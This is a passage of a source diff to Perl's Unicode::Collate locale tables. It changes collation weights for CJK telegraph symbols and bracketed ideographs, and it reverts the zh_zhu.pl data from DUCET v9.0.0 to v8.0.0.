[.1C3E.0020.0004][.1C45.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN -336A ; [.1C3E.0020.0004][.1C45.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN -33F2 ; [.1C3E.0020.0004][.1C46.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN -336B ; [.1C3E.0020.0004][.1C46.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN -33E0 ; [.1C3E.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE -32C0 ; [.1C3E.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY -3359 ; [.1C3E.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE -33F3 ; [.1C3F.0020.0004][.1C3D.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY -336C ; [.1C3F.0020.0004][.1C3D.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY -33F4 ; [.1C3F.0020.0004][.1C3E.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE -336D ; [.1C3F.0020.0004][.1C3E.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE -33F5 ; [.1C3F.0020.0004][.1C3F.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO -336E ; [.1C3F.0020.0004][.1C3F.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO -33F6 ; [.1C3F.0020.0004][.1C40.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE -336F ; [.1C3F.0020.0004][.1C40.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE -33F7 ; [.1C3F.0020.0004][.1C41.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR -3370 ; [.1C3F.0020.0004][.1C41.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR -33F8 ; [.1C3F.0020.0004][.1C42.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE -33F9 ; [.1C3F.0020.0004][.1C43.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX -33FA ; [.1C3F.0020.0004][.1C44.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN -33FB ; [.1C3F.0020.0004][.1C45.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT -33FC ; [.1C3F.0020.0004][.1C46.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE -33E1 ; [.1C3F.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO -32C1 ; [.1C3F.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY -335A ; [.1C3F.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO -33FD ; [.1C40.0020.0004][.1C3D.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY -33FE ; [.1C40.0020.0004][.1C3E.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE -33E2 ; [.1C40.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE -32C2 ; [.1C40.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH -335B ; [.1C40.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE -33E3 ; [.1C41.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR -32C3 ; [.1C41.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL -335C ; [.1C41.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR -33E4 ; [.1C42.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE -32C4 ; [.1C42.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY -335D ; [.1C42.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE -33E5 ; [.1C43.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX -32C5 ; [.1C43.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE -335E ; [.1C43.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX -33E6 ; [.1C44.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN -32C6 ; [.1C44.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY -335F ; [.1C44.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN -33E7 ; [.1C45.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT -32C7 ; [.1C45.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST -3360 ; [.1C45.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT -33E8 ; [.1C46.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE -32C8 ; [.1C46.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER -3361 ; [.1C46.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE -1F241 ; [*0379.0020.0004][.8054.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09 -1F242 ; [*0379.0020.0004][.802A.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C -1F247 ; [*0379.0020.0004][.A465.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD -1F243 ; [*0379.0020.0004][.83F0.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89 -1F245 ; [*0379.0020.0004][.8277.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253 -1F248 ; [*0379.0020.0004][.9EDA.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 -1F240 ; [*0379.0020.0004][.8283.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C -1F244 ; [*0379.0020.0004][.9216.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9 -1F246 ; [*0379.0020.0004][.A0BD.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7 +3220 ; [*0310.0020.0004][.8001.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ONE +3226 ; [*0310.0020.0004][.801A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN +3222 ; [*0310.0020.0004][.8054.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH THREE +3228 ; [*0310.0020.0004][.8027.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NINE +3221 ; [*0310.0020.0004][.802A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TWO +3224 ; [*0310.0020.0004][.80D7.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE +3239 ; [*0310.0020.0004][.81C2.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT +323D ; [*0310.0020.0004][.831C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE +3241 ; [*0310.0020.0004][.832C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REST +3227 ; [*0310.0020.0004][.8030.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT +3225 ; [*0310.0020.0004][.80F5.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SIX +3238 ; [*0310.0020.0004][.85A8.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR +3229 ; [*0310.0020.0004][.8041.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TEN +323F ; [*0310.0020.0004][.899D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE +3234 ; [*0310.0020.0004][.839D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NAME +323A ; [*0310.0020.0004][.89D5.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CALL +3223 ; [*0310.0020.0004][.822D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR +322F ; [*0310.0020.0004][.8081.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH +323B ; [*0310.0020.0004][.8A8D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY +3230 ; [*0310.0020.0004][.815C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUN +322A ; [*0310.0020.0004][.815F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH MOON +3232 ; [*0310.0020.0004][.845A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE +322D ; [*0310.0020.0004][.8160.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD +3231 ; [*0310.0020.0004][.979F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK +322C ; [*0310.0020.0004][.816D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WATER +322B ; [*0310.0020.0004][.816E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE +3235 ; [*0310.0020.0004][.9895.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL +323C ; [*0310.0020.0004][.B79A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE +3233 ; [*0310.0020.0004][.8D2E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY +3237 ; [*0310.0020.0004][.9970.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION +3240 ; [*0310.0020.0004][.A100.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL +3242 ; [*0310.0020.0004][.84D8.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SELF +3243 ; [*0310.0020.0004][.84D9.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REACH +3236 ; [*0310.0020.0004][.9B3B.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL +323E ; [*0310.0020.0004][.B2A5.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE +322E ; [*0310.0020.0004][.8E33.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH METAL +3358 ; [.1BB8.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO +33E9 ; [.1BB9.0020.0004][.1BB8.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN +32C9 ; [.1BB9.0020.0004][.1BB8.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER +3362 ; [.1BB9.0020.0004][.1BB8.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN +33EA ; [.1BB9.0020.0004][.1BB9.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN +32CA ; [.1BB9.0020.0004][.1BB9.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER +3363 ; [.1BB9.0020.0004][.1BB9.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN +33EB ; [.1BB9.0020.0004][.1BBA.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE +32CB ; [.1BB9.0020.0004][.1BBA.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER +3364 ; [.1BB9.0020.0004][.1BBA.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE +33EC ; [.1BB9.0020.0004][.1BBB.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN +3365 ; [.1BB9.0020.0004][.1BBB.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN +33ED ; [.1BB9.0020.0004][.1BBC.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN +3366 ; [.1BB9.0020.0004][.1BBC.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN +33EE ; [.1BB9.0020.0004][.1BBD.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN +3367 ; [.1BB9.0020.0004][.1BBD.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN +33EF ; [.1BB9.0020.0004][.1BBE.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN +3368 ; [.1BB9.0020.0004][.1BBE.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN +33F0 ; [.1BB9.0020.0004][.1BBF.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN +3369 ; [.1BB9.0020.0004][.1BBF.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN +33F1 ; [.1BB9.0020.0004][.1BC0.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN +336A ; [.1BB9.0020.0004][.1BC0.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN +33F2 ; [.1BB9.0020.0004][.1BC1.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN +336B ; [.1BB9.0020.0004][.1BC1.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN +33E0 ; [.1BB9.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE +32C0 ; [.1BB9.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY +3359 ; [.1BB9.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE +33F3 ; [.1BBA.0020.0004][.1BB8.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY +336C ; [.1BBA.0020.0004][.1BB8.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY +33F4 ; [.1BBA.0020.0004][.1BB9.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE +336D ; [.1BBA.0020.0004][.1BB9.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE +33F5 ; [.1BBA.0020.0004][.1BBA.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO +336E ; [.1BBA.0020.0004][.1BBA.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO +33F6 ; [.1BBA.0020.0004][.1BBB.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE +336F ; [.1BBA.0020.0004][.1BBB.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE +33F7 ; [.1BBA.0020.0004][.1BBC.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR +3370 ; [.1BBA.0020.0004][.1BBC.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR +33F8 ; [.1BBA.0020.0004][.1BBD.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE +33F9 ; [.1BBA.0020.0004][.1BBE.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX +33FA ; [.1BBA.0020.0004][.1BBF.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN +33FB ; [.1BBA.0020.0004][.1BC0.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT +33FC ; [.1BBA.0020.0004][.1BC1.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE +33E1 ; [.1BBA.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO +32C1 ; [.1BBA.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY +335A ; [.1BBA.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO +33FD ; [.1BBB.0020.0004][.1BB8.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY +33FE ; [.1BBB.0020.0004][.1BB9.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE +33E2 ; [.1BBB.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE +32C2 ; [.1BBB.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH +335B ; [.1BBB.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE +33E3 ; [.1BBC.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR +32C3 ; [.1BBC.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL +335C ; [.1BBC.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR +33E4 ; [.1BBD.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE +32C4 ; [.1BBD.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY +335D ; [.1BBD.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE +33E5 ; [.1BBE.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX +32C5 ; [.1BBE.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE +335E ; [.1BBE.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX +33E6 ; [.1BBF.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN +32C6 ; [.1BBF.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY +335F ; [.1BBF.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN +33E7 ; [.1BC0.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT +32C7 ; [.1BC0.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST +3360 ; [.1BC0.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT +33E8 ; [.1BC1.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE +32C8 ; [.1BC1.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER +3361 ; [.1BC1.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE +1F241 ; [*0372.0020.0004][.8054.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09 +1F242 ; [*0372.0020.0004][.802A.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C +1F247 ; [*0372.0020.0004][.A465.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD +1F243 ; [*0372.0020.0004][.83F0.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89 +1F245 ; [*0372.0020.0004][.8277.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253 +1F248 ; [*0372.0020.0004][.9EDA.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 +1F240 ; [*0372.0020.0004][.8283.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C +1F244 ; [*0372.0020.0004][.9216.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9 +1F246 ; [*0372.0020.0004][.A0BD.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7 2F00 ; [.8001.0020.0004] # KANGXI RADICAL ONE 3192 ; [.8001.0020.0014] # IDEOGRAPHIC ANNOTATION ONE MARK 3280 ; [.8001.0020.0006] # CIRCLED IDEOGRAPH ONE diff --git a/cpan/Unicode-Collate/Collate/Locale/zh_zhu.pl b/cpan/Unicode-Collate/Collate/Locale/zh_zhu.pl index 22a09a672f39..674e879ad4b1 100644 --- a/cpan/Unicode-Collate/Collate/Locale/zh_zhu.pl +++ b/cpan/Unicode-Collate/Collate/Locale/zh_zhu.pl @@ -1,8 +1,8 @@ use Unicode::Collate::CJK::Zhuyin; +{ - locale_version => 1.25, + locale_version => 1.19, overrideCJK => \&Unicode::Collate::CJK::Zhuyin::weightZhuyin, - entry => <<'ENTRY', # for DUCET v9.0.0 + entry => <<'ENTRY', # for DUCET v8.0.0 02C9 ; [.0000.0199.0002] # MODIFIER LETTER MACRON 02CA ; [.019A.0020.0002] # MODIFIER LETTER ACUTE ACCENT 02C7 ; [.019B.0020.0002] # CARON @@ -10,212 +10,212 @@ 02D9 ; [.019D.0020.0002] # DOT ABOVE 02EA ; [.019E.0020.0002] # MODIFIER LETTER YIN DEPARTING TONE MARK 02EB ; [.019F.0020.0002] # MODIFIER LETTER YANG DEPARTING TONE MARK -0101 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0100 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -00E1 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -01CE ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -01CD ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -00E0 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -00C0 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0113 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -00E9 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -011B ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -011A ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -00E8 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -00C8 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -00EA 0304 ; [.1CAA.0021.0002] # -00CA 0304 ; [.1CAA.0021.0008] # -0065 0302 0304 ; [.1CAA.0021.0002] # -0045 0302 0304 ; [.1CAA.0021.0008] # -1EBF ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -00EA 0301 ; [.1CAA.0022.0002] # -00EA 0341 ; [.1CAA.0022.0002] # -00CA 0301 ; [.1CAA.0022.0008] # -00CA 0341 ; [.1CAA.0022.0008] # -00EA 030C ; [.1CAA.0023.0002] # -00CA 030C ; [.1CAA.0023.0008] # -0065 